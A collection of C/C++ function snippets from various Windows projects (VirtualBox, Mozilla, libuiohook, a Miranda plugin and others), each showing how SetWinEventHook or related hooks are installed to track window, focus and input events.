int APIENTRY WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, int nCmdShow) { // We need to initialize the SNU.dll module first, since we rely on its settings object here. HMODULE snuModule = LoadLibrary(SNU_MODULE_NAME); //Next we fill out all the settings required to start the actual Skype app. SHELLEXECUTEINFO execInfo = {0}; execInfo.cbSize = sizeof(SHELLEXECUTEINFO); execInfo.fMask = SEE_MASK_NOCLOSEPROCESS; execInfo.lpParameters = L""; execInfo.lpDirectory = nullptr; execInfo.lpVerb = L"open"; execInfo.hwnd = NULL; execInfo.nShow = SW_SHOWDEFAULT; wchar_t* skypeAppName = new wchar_t[MAX_PATH]; GetPrivateProfileString(L"SNU", L"app", L"Skype.exe", skypeAppName, MAX_PATH, settings.iniPath.c_str()); execInfo.lpFile = skypeAppName; if (!ShellExecuteEx(&execInfo)) return -1; delete skypeAppName; DWORD skypeProcID = GetProcessId(execInfo.hProcess); HWINEVENTHOOK snuHook = SetWinEventHook(EVENT_OBJECT_LOCATIONCHANGE, EVENT_OBJECT_LOCATIONCHANGE, snuModule, notificationHook, skypeProcID, NULL, WINEVENT_INCONTEXT | WINEVENT_SKIPOWNPROCESS); MSG msg; // Set timer every second to force message loop to run (required so SNU realizes when Skype // has been closed and does not continue uselessly running in the background). UINT_PTR timer = SetTimer(NULL, NULL, 1000, nullptr); while (GetMessage(&msg, NULL, 0, 0)) { if (msg.message == WM_TIMER) { DWORD exitCode = 0; if (!GetExitCodeProcess(execInfo.hProcess, &exitCode) || exitCode != STILL_ACTIVE) break; } TranslateMessage(&msg); DispatchMessage(&msg); } KillTimer(NULL, timer); return 0; }
void installHooks() { InitializeCriticalSection(&g_caretCriticalSection); HOOK_GDI_CARET_FUNCTION(user32, CreateCaret); HOOK_GDI_CARET_FUNCTION(user32, DestroyCaret); HOOK_GDI_CARET_FUNCTION(user32, HideCaret); HOOK_GDI_CARET_FUNCTION(user32, SetCaretPos); HOOK_GDI_CARET_FUNCTION(user32, ShowCaret); const DWORD threadId = GetCurrentThreadId(); g_compatGdiCaretGeneralEventHook = SetWinEventHook(EVENT_OBJECT_CREATE, EVENT_OBJECT_HIDE, nullptr, &compatGdiCaretEvent, 0, threadId, WINEVENT_OUTOFCONTEXT); g_compatGdiCaretLocationChangeEventHook = SetWinEventHook( EVENT_OBJECT_LOCATIONCHANGE, EVENT_OBJECT_LOCATIONCHANGE, nullptr, &compatGdiCaretEvent, 0, threadId, WINEVENT_OUTOFCONTEXT); }
/** Install the global message hook */ BOOL VBoxHookInstallWindowTracker(HMODULE hDll) { if (g_ahWinEventHook[0] || g_ahWinEventHook[1]) return TRUE; CoInitialize(NULL); g_ahWinEventHook[0] = SetWinEventHook(EVENT_OBJECT_LOCATIONCHANGE, EVENT_OBJECT_LOCATIONCHANGE, hDll, VBoxHandleWinEvent, 0, 0, WINEVENT_INCONTEXT | WINEVENT_SKIPOWNPROCESS); g_ahWinEventHook[1] = SetWinEventHook(EVENT_OBJECT_CREATE, EVENT_OBJECT_HIDE, hDll, VBoxHandleWinEvent, 0, 0, WINEVENT_INCONTEXT | WINEVENT_SKIPOWNPROCESS); return !!g_ahWinEventHook[0]; }
void WINAPI WndWatcher(PHVNC lpServer) { SetThreadDesktopEx(lpServer->hDesktop); lpServer->WndWatcherInfo.bWatcherStarted=true; CoInitialize(NULL); lpServer->WndWatcherInfo.hHook1=SetWinEventHook(EVENT_OBJECT_CREATE,EVENT_OBJECT_HIDE,NULL,HandleWndEvent,0,0,WINEVENT_OUTOFCONTEXT); lpServer->WndWatcherInfo.hHook2=SetWinEventHook(EVENT_OBJECT_LOCATIONCHANGE,EVENT_OBJECT_LOCATIONCHANGE,NULL,HandleWndEvent,0,0,WINEVENT_OUTOFCONTEXT); lpServer->WndWatcherInfo.hHook3=SetWinEventHook(EVENT_SYSTEM_FOREGROUND,EVENT_SYSTEM_FOREGROUND,NULL,HandleWndEvent,0,0,WINEVENT_OUTOFCONTEXT); while (WaitForSingleObject(lpServer->EventsInfo.hVNCKillEvent,0) == WAIT_TIMEOUT) { MSG msg; if (!GetMessage(&msg,NULL,0,0)) break; TranslateMessage(&msg); DispatchMessage(&msg); } StopWatcher(lpServer); CoUninitialize(); return; }
// _____________________________________________________________________ // // // MAIN // _____________________________________________________________________ // int WINAPI WinMain(_In_ HINSTANCE hInstance, _In_opt_ HINSTANCE hPrevInstance, _In_ LPSTR lpCmdLine, _In_ int nShowCmd) { // One instance is enough HANDLE hGlobalLock = CreateMutex(NULL, TRUE, L"RestoreWindowsMutex"); if(hGlobalLock == INVALID_HANDLE_VALUE || GetLastError() == ERROR_ALREADY_EXISTS) return 0; const char* tok = 0; char* context = NULL; const char* delims = " =\t"; tok = strtok_s(lpCmdLine, delims, &context); while(tok) { if(!_stricmp(tok, "--debuglog")) { _sopen_s(&logfile, "RestoreWindows.log", _O_WRONLY | _O_BINARY | _O_TRUNC | _O_CREAT, _SH_DENYNO, _S_IWRITE); } else if(!_stricmp(tok, "--delay")) { tok = strtok_s(0, delims, &context); if(tok) ResumeTimerValue = clamp(0, 1000*60*10, atoi(tok)); } tok = strtok_s(0, delims, &context); } DesiredMonitorPlacements = GetAllMonitors(); Log("Delay: %d\n\n", ResumeTimerValue); for(auto it = DesiredMonitorPlacements.begin(); it != DesiredMonitorPlacements.end(); ++it) Log("Monitor: %d, %d\n", it->right-it->left, it->bottom-it->top); Log("\n"); LoadAllWindowPlacements(); HWINEVENTHOOK hWinEventHook = SetWinEventHook(EVENT_MIN, EVENT_MAX, NULL, WinEventProc, 0, 0, WINEVENT_OUTOFCONTEXT); DetectWindow = CreateDetectionWnd(); MSG msg; while(GetMessage(&msg, NULL, 0, 0) > 0) { DispatchMessage(&msg); } // Usually never gets here... UnhookWinEvent(hWinEventHook); _close(logfile); CloseHandle(hGlobalLock); return 0; }
BOOL VBoxHookInstallActiveDesktopTracker(HMODULE hDll) { if (g_hDesktopEventHook) return TRUE; CoInitialize(NULL); g_hDesktopEventHook = SetWinEventHook(EVENT_SYSTEM_DESKTOPSWITCH, EVENT_SYSTEM_DESKTOPSWITCH, hDll, VBoxHandleDesktopEvent, 0, 0, 0); return !!g_hDesktopEventHook; }
HWINEVENTHOOK AccessibleObject::Hook(DWORD eventMin, DWORD eventMax, HMODULE hmodWinEventProc, WINEVENTPROC pfnWinEventProc, DWORD idProcess, DWORD idThread, DWORD dwFlags) { Unhook(); win_event_hook_ = SetWinEventHook(eventMin, eventMax, hmodWinEventProc, pfnWinEventProc, idProcess, idThread, dwFlags); return win_event_hook_; }
int APIENTRY wWinMain(_In_ HINSTANCE hInstance, _In_opt_ HINSTANCE hPrevInstance, _In_ LPWSTR lpCmdLine, _In_ int nCmdShow) { UNREFERENCED_PARAMETER(hPrevInstance); UNREFERENCED_PARAMETER(lpCmdLine); // Registering for the event that tells us when a window comes to the foreground SetWinEventHook(EVENT_SYSTEM_FOREGROUND, EVENT_SYSTEM_FOREGROUND, NULL, WinEventProcCallback, 0, 0, WINEVENT_OUTOFCONTEXT | WINEVENT_SKIPOWNPROCESS); // Initialize global strings LoadStringW(hInstance, IDS_APP_TITLE, szTitle, MAX_LOADSTRING); LoadStringW(hInstance, IDC_CURSORCLIP, szWindowClass, MAX_LOADSTRING); MyRegisterClass(hInstance); // Perform application initialization: if (!InitInstance (hInstance, nCmdShow)) { return FALSE; } HACCEL hAccelTable = LoadAccelerators(hInstance, MAKEINTRESOURCE(IDC_CURSORCLIP)); MSG msg; // Main message loop: while (GetMessage(&msg, nullptr, 0, 0)) { if (!TranslateAccelerator(msg.hwnd, hAccelTable, &msg)) { TranslateMessage(&msg); DispatchMessage(&msg); } } return (int) msg.wParam; }
bool EventHookManager::AddHook(HWND const & targetWindow, UINT const & eventMin, UINT const & eventMax, EventHookHandler * const handler) { // Check map for existing entry auto hash = std::hash<HWND>()(targetWindow) ^ std::hash<UINT>()(eventMin) ^ std::hash<UINT>()(eventMax); auto it = hooks.find(hash); if (it != hooks.end()) return false; // Create hook DWORD processId; DWORD threadId = GetWindowThreadProcessId(targetWindow, &processId); HWINEVENTHOOK winEventHook = SetWinEventHook(eventMin, eventMax, NULL, WinEventProc, processId, threadId, WINEVENT_OUTOFCONTEXT); if (winEventHook == 0) return false; // Add to map EventHookParameters params{ targetWindow, eventMin, eventMax, handler, winEventHook }; auto result = hooks.insert(std::make_pair(hash, params)); return result.second; }
CParentWnd::CParentWnd() { // OutputDebugStringOutput only at first // Get any settings from the registry SetDefaults(); ReadFromRegistry(); // After this call we may output to the debug file OpenDebugFile(); DebugPrintVersion(DBGVersionBanner); // Force the system riched20 so we don't load office's version. (void) LoadFromSystemDir(_T("riched20.dll")); // STRING_OK // Second part is to load rundll32.exe // Don't plan on unloading this, so don't care about the return value (void) LoadFromSystemDir(_T("rundll32.exe")); // STRING_OK // Load DLLS and get functions from them ImportProcs(); // Initialize objects for theming InitializeGDI(); m_cRef = 1; m_hwinEventHook = SetWinEventHook( EVENT_OBJECT_REORDER, EVENT_OBJECT_REORDER, NULL, &MyWinEventProc, GetCurrentProcessId(), NULL, NULL); ForceOutlookMAPI(0 != RegKeys[regkeyFORCEOUTLOOKMAPI].ulCurDWORD); ForceSystemMAPI(0 != RegKeys[regkeyFORCESYSTEMMAPI].ulCurDWORD); LoadAddIns(); // Notice we never create a window here! TRACE_CONSTRUCTOR(CLASS); } // CParentWnd::CParentWnd
void InitUIThread() { // If we aren't setup before a call to NotifyWorkerThread, we'll hang // on startup. if (!gUIThreadId) { gUIThreadId = GetCurrentThreadId(); } MOZ_ASSERT(gUIThreadId); MOZ_ASSERT(gUIThreadId == GetCurrentThreadId(), "Called InitUIThread multiple times on different threads!"); if (!gWinEventHook) { gWinEventHook = SetWinEventHook(EVENT_OBJECT_CREATE, EVENT_OBJECT_DESTROY, NULL, &WinEventHook, GetCurrentProcessId(), gUIThreadId, WINEVENT_OUTOFCONTEXT); // We need to execute this after setting the hook in case the OLE window // already existed. gCOMWindow = FindCOMWindow(); } MOZ_ASSERT(gWinEventHook); }
UIOHOOK_API int hook_run(event_type _eventsToHook) { int status = UIOHOOK_FAILURE; eventsToHook = _eventsToHook; // Set the thread id we want to signal later. hook_thread_id = GetCurrentThreadId(); // Spot check the hInst incase the library was statically linked and DllMain // did not receive a pointer on load. if (hInst == NULL) { logger(LOG_LEVEL_INFO, "%s [%u]: hInst was not set by DllMain().\n", __FUNCTION__, __LINE__); HINSTANCE hInstPE = GetModuleHandle(NULL); if (hInstPE != NULL) { DllMain(hInstPE, DLL_PROCESS_ATTACH, NULL); } else { logger(LOG_LEVEL_ERROR, "%s [%u]: Could not determine hInst for SetWindowsHookEx()! (%#lX)\n", __FUNCTION__, __LINE__, (unsigned long) GetLastError()); status = FALSE; } } bool wantsAnyKeyEvents = wants_any_key_events(), wantsAnyMouseEvents = wants_any_mouse_events(); if (!wantsAnyKeyEvents && !wantsAnyMouseEvents) return UIOHOOK_FAILURE;//...maybe? // Create the native hooks. if (wantsAnyKeyEvents) keyboard_event_hhook = SetWindowsHookEx(WH_KEYBOARD_LL, keyboard_hook_event_proc, hInst, 0); if (wantsAnyMouseEvents) mouse_event_hhook = SetWindowsHookEx(WH_MOUSE_LL, mouse_hook_event_proc, hInst, 0); // Create a window event hook to listen for capture change. win_event_hhook = SetWinEventHook( EVENT_OBJECT_NAMECHANGE, EVENT_OBJECT_NAMECHANGE, NULL, win_hook_event_proc, 0, 0, WINEVENT_OUTOFCONTEXT | WINEVENT_SKIPOWNPROCESS); bool success = true; if (wantsAnyKeyEvents && keyboard_event_hhook == NULL) success = false; if (wantsAnyMouseEvents && mouse_event_hhook == NULL) success = false; // If we did not encounter a problem, start processing events. if ( success ) { if (win_event_hhook == NULL) { logger(LOG_LEVEL_WARN, "%s [%u]: SetWinEventHook() failed!\n", __FUNCTION__, __LINE__); } logger(LOG_LEVEL_DEBUG, "%s [%u]: SetWindowsHookEx() successful.\n", __FUNCTION__, __LINE__); // Check and setup modifiers. initialize_modifiers(); // Set the exit status. status = UIOHOOK_SUCCESS; // Windows does not have a hook start event or callback so we need to // manually fake it. hook_start_proc(); // Block until the thread receives an WM_QUIT request. MSG message; while (GetMessage(&message, (HWND) NULL, 0, 0) > 0) { TranslateMessage(&message); DispatchMessage(&message); } } else { logger(LOG_LEVEL_ERROR, "%s [%u]: SetWindowsHookEx() failed! (%#lX)\n", __FUNCTION__, __LINE__, (unsigned long) GetLastError()); status = UIOHOOK_ERROR_SET_WINDOWS_HOOK_EX; } // Stop the event hook and any timer still running. if (win_event_hhook != NULL) { UnhookWinEvent(win_event_hhook); win_event_hhook = NULL; } // Destroy the native hooks. if (keyboard_event_hhook != NULL) { UnhookWindowsHookEx(keyboard_event_hhook); keyboard_event_hhook = NULL; } if (mouse_event_hhook != NULL) { UnhookWindowsHookEx(mouse_event_hhook); mouse_event_hhook = NULL; } // We must explicitly call the cleanup handler because Windows does not // provide a thread cleanup method like POSIX pthread_cleanup_push/pop. hook_stop_proc(); return status; }
void EventHookHandler::RegisterHandler(DWORD event) { HWINEVENTHOOK hook = SetWinEventHook(event, event, nullptr, ForegroundHook::WinEventProc, 0, 0, WINEVENT_OUTOFCONTEXT | WINEVENT_SKIPOWNPROCESS); Hooks.push_back(hook); }
void Hook() { if (LHook != 0) return; CoInitialize(NULL); LHook = SetWinEventHook(EVENT_OBJECT_FOCUS, EVENT_OBJECT_VALUECHANGE, 0, WinEventProc, 0, 0, WINEVENT_SKIPOWNPROCESS); }
UIOHOOK_API int hook_run() { int status = UIOHOOK_FAILURE; // Set the thread id we want to signal later. hook_thread_id = GetCurrentThreadId(); // Spot check the hInst incase the library was statically linked and DllMain // did not receive a pointer on load. if (hInst == NULL) { logger(LOG_LEVEL_INFO, "%s [%u]: hInst was not set by DllMain().\n", __FUNCTION__, __LINE__); hInst = GetModuleHandle(NULL); if (hInst != NULL) { // Initialize native input helper functions. load_input_helper(); } else { logger(LOG_LEVEL_ERROR, "%s [%u]: Could not determine hInst for SetWindowsHookEx()! (%#lX)\n", __FUNCTION__, __LINE__, (unsigned long) GetLastError()); status = UIOHOOK_ERROR_GET_MODULE_HANDLE; } } // Create the native hooks. keyboard_event_hhook = SetWindowsHookEx(WH_KEYBOARD_LL, keyboard_hook_event_proc, hInst, 0); mouse_event_hhook = SetWindowsHookEx(WH_MOUSE_LL, mouse_hook_event_proc, hInst, 0); // Create a window event hook to listen for capture change. win_event_hhook = SetWinEventHook( EVENT_OBJECT_NAMECHANGE, EVENT_OBJECT_NAMECHANGE, NULL, win_hook_event_proc, 0, 0, WINEVENT_OUTOFCONTEXT | WINEVENT_SKIPOWNPROCESS); // If we did not encounter a problem, start processing events. if (keyboard_event_hhook != NULL && mouse_event_hhook != NULL) { if (win_event_hhook == NULL) { logger(LOG_LEVEL_WARN, "%s [%u]: SetWinEventHook() failed!\n", __FUNCTION__, __LINE__); } logger(LOG_LEVEL_DEBUG, "%s [%u]: SetWindowsHookEx() successful.\n", __FUNCTION__, __LINE__); // Check and setup modifiers. initialize_modifiers(); // Set the exit status. status = UIOHOOK_SUCCESS; // Windows does not have a hook start event or callback so we need to // manually fake it. hook_start_proc(); // Block until the thread receives an WM_QUIT request. MSG message; while (GetMessage(&message, (HWND) NULL, 0, 0) > 0) { TranslateMessage(&message); DispatchMessage(&message); } } else { logger(LOG_LEVEL_ERROR, "%s [%u]: SetWindowsHookEx() failed! (%#lX)\n", __FUNCTION__, __LINE__, (unsigned long) GetLastError()); status = UIOHOOK_ERROR_SET_WINDOWS_HOOK_EX; } // Unregister any hooks that may still be installed. unregister_running_hooks(); // We must explicitly call the cleanup handler because Windows does not // provide a thread cleanup method like POSIX pthread_cleanup_push/pop. hook_stop_proc(); return status; }
int MirandaLoaded(WPARAM,LPARAM) { g_wMask = db_get_w(NULL,MOD_NAME,"optsmask",DEFAULTSETTING); RegisterCoreHotKeys(); g_hWinHook = SetWinEventHook(EVENT_OBJECT_CREATE, EVENT_OBJECT_SHOW, NULL, WinEventProc, GetCurrentProcessId(), 0, 0); HookEvent(ME_TTB_MODULELOADED, TopToolbarInit); HookEvent(ME_OPT_INITIALISE, OptsDlgInit); HookEvent(ME_MSG_WINDOWEVENT, MsgWinOpening); HookEvent(ME_PROTO_ACCLISTCHANGED, EnumProtos); HookEvent(ME_MSG_TOOLBARLOADED, TabsrmmButtonsInit); HookEvent(ME_MSG_BUTTONPRESSED, TabsrmmButtonPressed); GetWindowThreadProcessId(pcli->hwndContactList, &g_dwMirandaPID); WNDCLASS winclass = {0}; winclass.lpfnWndProc = ListenWndProc; winclass.hInstance = g_hInstance; winclass.hbrBackground = (HBRUSH)GetStockObject(BLACK_BRUSH); winclass.lpszClassName = BOSSKEY_LISTEN_INFO; if (RegisterClass(&winclass)) { g_hListenWindow = CreateWindow(BOSSKEY_LISTEN_INFO,BOSSKEY_LISTEN_INFO,WS_POPUP,0,0,5,5,pcli->hwndContactList,NULL,g_hInstance,NULL); WTSRegisterSessionNotification(g_hListenWindow, 0); } if (IsWinVerVistaPlus()) { hDwmApi = LoadLibrary(_T("dwmapi.dll")); if (hDwmApi) dwmIsCompositionEnabled = (PFNDwmIsCompositionEnabled)GetProcAddress(hDwmApi,"DwmIsCompositionEnabled"); } if (g_wMaskAdv & OPT_MENUITEM) BossKeyMenuItemInit(); // Register token for variables plugin if (ServiceExists(MS_VARS_REGISTERTOKEN)) { TOKENREGISTER tr = {0}; tr.cbSize = sizeof(TOKENREGISTER); tr.memType = TR_MEM_OWNER; tr.flags = TRF_FIELD | TRF_TCHAR | TRF_PARSEFUNC; tr.tszTokenString = _T("bosskeyname"); tr.parseFunctionT = VariablesBossKey; tr.szHelpText = LPGEN("BossKey")"\t"LPGEN("get the BossKey name"); CallService(MS_VARS_REGISTERTOKEN, 0, (LPARAM) &tr); } EnumProtos(0, 0); InitIdleTimer(); if (g_bOldSetting && !(g_wMaskAdv & OPT_RESTORE)) // Restore settings if Miranda was crushed or killed in hidden mode and "Restore hiding on startup after failure" option is disabled RestoreOldSettings(); if ((g_wMaskAdv & OPT_HIDEONSTART) || (g_wMaskAdv & OPT_RESTORE && g_bOldSetting)) BossKeyHideMiranda(0, 0); return 0; }